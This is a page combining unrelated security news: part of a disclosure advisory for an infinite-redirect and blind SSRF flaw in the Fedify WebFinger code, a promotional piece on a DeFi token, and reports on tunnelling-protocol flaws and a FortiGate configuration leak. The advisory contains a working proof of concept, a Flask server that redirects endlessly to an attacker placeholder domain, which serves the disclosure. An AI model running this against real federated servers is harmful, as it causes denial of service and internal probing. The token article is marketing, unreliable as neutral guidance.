        response.headers.get("Location")!,
        response.url \== null || response.url \=== "" ? url : response.url,
      );
      continue;
    }
    if (!response.ok) {
      logger.debug(
        "Failed to fetch WebFinger resource descriptor: {status} {statusText}.",
        {
          url: url.href,
          status: response.status,
          statusText: response.statusText,
        },
      );
      return null;
    }
    try {
      return await response.json() as ResourceDescriptor;
    } catch (e) {
      if (e instanceof SyntaxError) {
        logger.debug(
          "Failed to parse WebFinger resource descriptor as JSON: {error}",
          { error: e },
        );
        return null;
      }
      throw e;
    }
  }
}

The function takes the **actorId** parameter containing the actor ID URL, extracts the scheme and uses the rest of the URL (host+port+path) directly inside a hard-coded Webfinger URL address which in turn sinks into a fetch request.

On the fetch request, the **redirect** attribute is set to “**manual**” preventing automated redirects. However, redirects are still handled using custom code that loops over responses and re-fetching the URL found inside the “Location” header until receiving a valid response or an error occurs (loop keeps until 300>status code>400).

This custom redirect implementation contains multiple issues:  
1.The redirect loop is endless ( while(true) loop ) without any iteration limiting, allowing attackers to perform DoS via endless redirecting.  
2\. A Blind SSRF attack to any URL, with arbitrary Host, Port and Path is possible via the current custom redirect implementation.  
3\. As the redirect handler is a custom one, it breaches the security mechanisms presented by the native redirect handler of fetch - allowing the attacker to redirect to different schemes such as data or file schemes.

In order to successfully perform any of the attacks described above, an attacker needs to create a federated app which presents a malicious actor object, containing an actor ID URL of a second server which performs a recursive redirect to itself, or a URL containing an internal resource.

**PoC**

1.  In order to show a use case of the vulnerability, we can use the demo app presented at this URL: https://github.com/dahlia/microblog.
2.  We will create two machines, victim and attacker, each one on a different server with different domains.

**_Victim Machine_**

1.  Create a new instance (we tested on ubuntu’s latest version), and update the package manager.
2.  Install a Deno server:  
    curl -fsSL https://deno.land/install.sh | sh  
    source ~/.bashrc  
    deno --version #check deno is working
3.  Pull the git repository of the victim blog app:  
    git clone https://github.com/dahlia/fedify.git
4.  Modify the federation object to remove signature checks for the sake of easy testing:  
    On file **_/examples/blog/federation/mod.ts_** edit the **_createFederation_** object the following attribute: **_skipSignatureVerification: true_**.
5.  Change into the blog app directory ( /examples/blog ) and run the app:  
    deno task preview
6.  Surf to the application on the browser, and register a user on the app.

**_Attacker Machine_**

1.  Create a new instance (we tested on ubuntu’s latest version), and update the package manager.
2.  Install NVM in order to install the latest version of NPM and NODEJS (and source current shell to check it worked):  
    curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash  
    source ~/.bashrc  
    nvm list-remote
3.  Install the latest stable version:  
    nvm install {latest_ver} #for example: v20.10.0  
    source ~/.bashrc  
    npm -v #check it works  
    node -v #check it works
4.  Download the attacker app repository:  
    git clone https://github.com/dahlia/microblog.git
5.  Disable request signature validations:  
    Edit the **_/src/federation.ts_** file and add a **_skipSignatureVerification: true_** attribute to the **_createFederation_** object.
6.  Modify the **_/src/federation.ts_** file and tamper with the Person object on the actor dispatcher ( **_setActorDispatcher("/users/{identifier}"_** ) - change the actor ID attribute **_“id: ctx.getActorUri(identifier)_**” into “**_id: new URL(‘http://<ATTACKER\_MACHINE\_DOMAIN>:1337/users/enterloop’)_**”.
7.  Install python flask and create the Python Flask redirect server:  
    apt update  
    apt install python3-flask

from flask import Flask, redirect

app \= Flask(\_\_name\_\_)

@app.route('/health')
def health():
    return "hello", 200

@app.route('/.well-known/webfinger')
def ssrfinger():
    return redirect("http://<ATTACKER\_MACHINE\_DOMAIN>:1337/endlessloop")

@app.route('/endlessloop')
def endlessloop():
    return redirect("http://<ATTACKER\_MACHINE\_DOMAIN>:1337/endlessloop")

if \_\_name\_\_ \== '\_\_main\_\_':
    app.run(debug\=True,host\='0.0.0.0' ,port\=1337)

8.  Run the python server and attempt to reach the “**_/health_**” path to see the server functions as expected.
9.  Read the **_README.txt_** file on the attacker app and follow the instructions on how to execute the app.
10.  Surf the app on the browser and attempt to follow the federated user on the victim’s machine.
11.  Send the “follow” request and watch the victim app continue to query the redirect server infinitely (It is possible to repeat this step multiple times causing multiple loops).

**Impact**

1.  Implement a limiting stop condition for the endless loop to prevent infinite loops.
2.  Validate the scheme while performing a manual redirection handler.
3.  For each web resource (for the **_lookupWebFinger_** function and also URLs found on the “**_Location_**” header inside the loop) use the “**_validatePublicUrl_**” function to verify that it is not targeting a local resource.

**References**

*   GHSA-c59p-wq67-24wx
*   https://nvd.nist.gov/vuln/detail/CVE-2025-23221
*   dahlia/fedify@8be3c20
*   dahlia/fedify@c505eb8
*   dahlia/fedify@e921134

GHSA-c59p-wq67-24wx: Infinite loop and Blind SSRF found inside the Webfinger mechanism in @fedify/fedify

Over the past few years, decentralised finance (DeFi) has revolutionised the financial sector. DeFi introduced transparent, permissionless and…

Over the past few years, decentralised finance (DeFi) has revolutionised the financial sector. DeFi introduced transparent, permissionless and efficient payment systems, streamlining international transactions. However, this growth has been accompanied by a rise in security challenges and there have been several notable incidents over the years.

DeFi exchanges have become prime targets for hackers, leading to billions of dollars in losses in recent years. Amidst this turbulent landscape, PARSIQ’s Reactive Network emerges as a promising solution to safeguard DeFi ecosystems. With its innovative cross-chain capability, upcoming mainnet launch and the introduction of the REACT token, Reactive Network is setting the stage for a more secure DeFi future.

****The Escalating Threat of DeFi Exchange Hacks****

The frequency of DeFi hacks has increased tremendously in recent years. This poses a significant threat to the industry. According to Immunify, security breaches in DeFi exchanges accounted for $1.2 billion in financial losses in 2024 alone. Alarmingly, breaches in centralised finance (CeFi) platforms saw a staggering 984% increase in 2024, as reported by BeInCrypto. This trend highlights the vulnerabilities that exist across both centralised and decentralised financial platforms.

High-profile attacks illustrate the scale and sophistication of these exploits. For example, the $625 million Ronin Network hack from 2022 is a stark reminder of the risks associated with weak security protocols. Similarly, the $100 million breach of Atomic Wallet just a year later highlights the vulnerabilities in wallet services. These incidents underscore the urgent need for advanced security measures to protect user funds, maintain trust in DeFi and promote growth in the coming days.

****Introducing Reactive Network: The Future of DeFi Security****

PARSIQ’s Reactive Network is a groundbreaking innovation and the platform has achieved significant milestones in its mission to revolutionise blockchain security. Last year, the platform launched its testnet, providing developers with tools to build more secure and efficient decentralised applications (dApps). In the coming months, PARSIQ plans to launch the Reactive Network mainnet along with the REACT token.

At the core of the Reactive Network lies the concept of Inversion of Control (IoC). This technology empowers smart contracts to operate autonomously, responding dynamically to events across connected blockchains. With Reactive Smart Contracts (RSCs), users can experience seamless and secure cross-chain transactions without manual intervention. This innovation not only simplifies workflow but also enhances overall network security. 

****Enhanced Security Protocols****

Reactive Network’s architecture addresses common vulnerabilities that have traditionally plagued DeFi exchanges. By tackling issues like reentrancy attacks and oracle manipulation, the platform offers robust protection against sophisticated hacking techniques. Automated incident response strategies further strengthen the network’s defence, ensuring timely threat detection and mitigation.

****Autonomous Smart Contract Functionality****

One of Reactive Network’s standout features is its ability to autonomously monitor and respond to suspicious activities. This reduces reliance on manual intervention, minimising human error, which is a major contributing factor in security breaches.

****Cross-Chain Interoperability****

In a DeFi landscape where interoperability is essential, the Reactive Network ensures secure and efficient cross-chain transactions. This minimises the risks associated with bridge exploits, which is a common entry point for attackers. This empowers users to transact across multiple blockchains with confidence, knowing that their assets are protected 24/7.

****The Future of Secure DeFi Exchanges****

As DeFi continues to grow, the need for robust security solutions becomes increasingly critical. Reactive Network stands at the forefront of this evolution, offering advanced tools and technologies to protect users and platforms alike.

The highly anticipated Reactive Network mainnet launch promises enhanced features and capabilities over the testnet. Developers and businesses are preparing to leverage the platform’s tools to create secure, scalable and efficient dApps. The introduction of the REACT token alongside the mainnet launch will further enrich the Reactive Network ecosystem.

The token will play a crucial role in transaction processing and network governance, incentivising participation and fostering a vibrant community. With its carefully designed tokenomics, REACT aims to align the interests of all stakeholders, ensuring long-term growth and sustainability. Additionally, existing PRQ token holders can seamlessly 1:1 swap them for the REACT tokens.

By addressing the common challenges and vulnerabilities plaguing the industry, Reactive Network is paving the way for a safer and more reliable DeFi ecosystem. Developers, businesses and investors can consider exploring the capabilities of Reactive Network by engaging with the testnet and preparing for the mainnet launch.

With the REACT token set to revolutionise transaction and governance processes, now is the time to join this innovative ecosystem. Stay tuned to the official Reactive Network blog and developer documentation to learn more and take the first step toward a more secure DeFi future.

1.  **6 of the Best Crypto Bug Bounty Programs**
2.  **We Need Smarter Smart Contracts To Prevent DeFi Hacks**
3.  **Top 5 Platforms for Identifying Smart Contract Vulnerabilities** 
4.  **Enhancing Blockchain Randomness To Eliminate Trust Issues**
5.  **5 Ways Smart Contracts Are Making A Real-World Difference**

PARSIQ’s Reactive Network Provides Solution for DeFi Exchange Vulnerabilities

Millions of devices, including home routers, VPN servers, and CDNs are vulnerable to exploitation due to critical flaws…

Millions of devices, including home routers, VPN servers, and CDNs are vulnerable to exploitation due to critical flaws in common tunnelling protocols like IPIP, GRE, and 6in4/4in6. Learn how these vulnerabilities can be exploited for malicious attacks and how to protect your devices.

New vulnerabilities in multiple tunnelling protocols (IPIP/IP6IP6, GRE/GRE6, 4in6, 6in4) have been discovered by Top10VPN in collaboration with security researcher Mathy Vanhoef. These vulnerabilities allow attackers to hijack affected internet hosts to perform anonymous attacks and gain unauthorized network access. 

A large-scale internet scan identified 4.2 million open tunnelling hosts. This includes critical infrastructure such as VPN servers, home routers, core internet routers, mobile network gateways, and even content delivery networks (CDNs) operated by major players like Facebook and Tencent. Vulnerable hosts can enable a range of attacks, including new DoS techniques and DNS spoofing. The identified vulnerabilities include CVE-2024-7595, CVE-2025-23018/23019, and CVE-2024-7596.

The most affected countries are China, France, Japan, the U.S., and Brazil. Over 11,000 autonomous systems (AS) have been impacted, with Softbank, Eircom, Telmex, and China Mobile being the most affected.

The vulnerabilities stem from many internet hosts accepting tunneling traffic without verifying the sender’s identity. This lack of authentication allows attackers to exploit these hosts as proxies for malicious activities. 

“These hosts accept unauthenticated tunneling traffic from any source. This means they can be abused as one-way proxies to perform a range of anonymous attacks. Vulnerable hosts can also potentially be abused to gain access to victims’ private networks,” Top10VPN’s researcher and report author Simon Migliano noted.

Specifically, attackers can manipulate these hosts to send traffic on their behalf, concealing their true origin and making it difficult to trace attacks back to them. In some cases, attackers might be able to exploit these vulnerabilities to gain access to private networks connected to the hijacked host.

Tunneling protocols, such as IPIP, GRE, and 6in4/4in6, play a crucial role in modern networking, enabling seamless communication across diverse networks. However, many devices utilizing these protocols lack proper authentication and encryption, leaving them vulnerable to exploitation. 

According to Top10VPN’s report, at least 1,365 vulnerable VPN servers were identified, including consumer VPNs, routers with remote access features, and business VPNs. AoxVPN, a service with over a million users, was among those with vulnerabilities.

Additionally, around 1,200 vulnerable dynamic DNS routers, primarily Synology models offering remote access via VPN Plus Server, were detected. And, 171 company VPN servers were exposed, mainly using the GRE protocol, belonging to businesses and organizations in 33 countries, with the United States, China, and Hong Kong being the most affected. Over 17% of vulnerable devices were Free ISP’s home routers in France, which accepted unauthenticated traffic.

Furthermore, researchers discovered novel attack methods, such as “Ping-pong Amplification” and “Tunneled-Temporal Lensing,” which leverage these vulnerabilities to launch powerful Denial-of-Service (DoS) attacks. These vulnerabilities can also amplify the impact of existing attacks, such as DNS spoofing, traditional amplification DoS attacks, off-path TCP hijacking, SYN floods, and certain WiFi attacks.

The research highlights the need for enhanced security measures in these protocols to mitigate risks and ensure the reliability of our interconnected world. Proactive measures, including regular security audits, software updates, and increased awareness among system administrators and end-users, are also important for identifying and patching vulnerable devices.

1.  **Millions of websites using CDNs at risk of CPDoS attack**
2.  **DNS Tunneling Used for Stealthy Scans and Email Tracking**
3.  **GoogleUserContent CDN Hosting Images Infected with Malware**
4.  **Fake GlobalProtect VPN Downloads Spread WikiLoader Malware**
5.  **Millions of Email Servers Exposed Due to Missing TLS Encryption**

Tunneling Flaws Put VPNs, CDNs and Routers at Risk Globally

FortiGate firewall leak exposes 15,000+ configurations, impacting organizations globally. The actor behind the leak is Belsen Group. Learn…

FortiGate firewall leak exposes 15,000+ configurations, impacting organizations globally. The actor behind the leak is Belsen Group. Learn how to mitigate risks and protect your systems.

A new leak from a threat actor group dubbed Belsen Group or (Belsen\_Group) has exposed configurations from over 15,000 **FortiGate firewalls**, threatening organizations that use these devices, as it could allow attackers to gain access to sensitive systems and bypass defences. The US, UK, Poland, and Belgium have the highest number of victims, followed by France, Spain, Malaysia, Netherlands, Thailand, and Saudi Arabia.

Research by CloudSEK’s contextual AI digital risk platform XVigil **reveals** that in 2022, the Belsen Group breached a zero-day vulnerability, leaking over 15,000 Fortigate firewall configurations. The leaked information includes usernames, passwords (some in plain text), device management digital certificates, and all firewall rules. This data gives attackers a treasure trove of information that they can exploit. 

Belsen Group on Breach Forums and its dark web leak site (Screenshot Hackread.com)

Exposed usernames and passwords, especially those in plain text, can be used by attackers to directly access sensitive systems on your network. Even if you patched the vulnerability (**CVE-2022-40684)** in 2022, it is crucial to check for signs of compromise since this was a zero-day exploit. Leaked firewall configurations reveal your internal network structure, potentially allowing attackers to identify weaknesses and bypass security measures.

Breached digital certificates could allow unauthorized access to devices or impersonation during secure communications. What’s even more concerning is that organizations that patched the vulnerability after the initial disclosure in 2022 might still be at risk if attackers gained access before the patch was applied.

****Belsen Group’s Motives and History****

While the Belsen Group appears to be new on the hacking forum scene, the leaked data suggests they’ve been around for at least three years. Researchers believe they were likely part of a group that exploited a zero-day vulnerability (CVE-2022-40684) in FortiGate firewalls in 2022. After potentially using or selling the access gained through the exploit, they’ve now resorted to leaking the data in 2025.

To mitigate risks arising from such leaks, it is essential to update all device and VPN credentials, especially those listed in the leaked data, and implement strong passwords. Audit and reconfigure firewalls to identify vulnerabilities and tighten access controls. Rotate compromised digital certificates to ensure secure communication.

Additionally, determine the timeline for patching CVE-2022-40684 in your organization, conduct forensic analysis on compromised devices, and monitor your network for unusual activity. These steps will help protect your network and reduce potential risks.

CloudSEK has created a useful resource for organizations to check if any network is part of the exposed IPs after analysing data, which is available **here**.

1.  **UNC5820 Exploits FortiManager Zero-Day Vulnerability**
2.  **CISA and Fortinet Warns of New FortiOS Zero-Day Flaws**
3.  **Hackers Exploiting 0-day Vulnerability in Fortinet Products**
4.  **Hackers leak login credentials of vulnerable Fortinet SSL VPNs**
5.  **Hackers dump login credentials of Fortinet VPN users in plain-text**

Tag

#ssl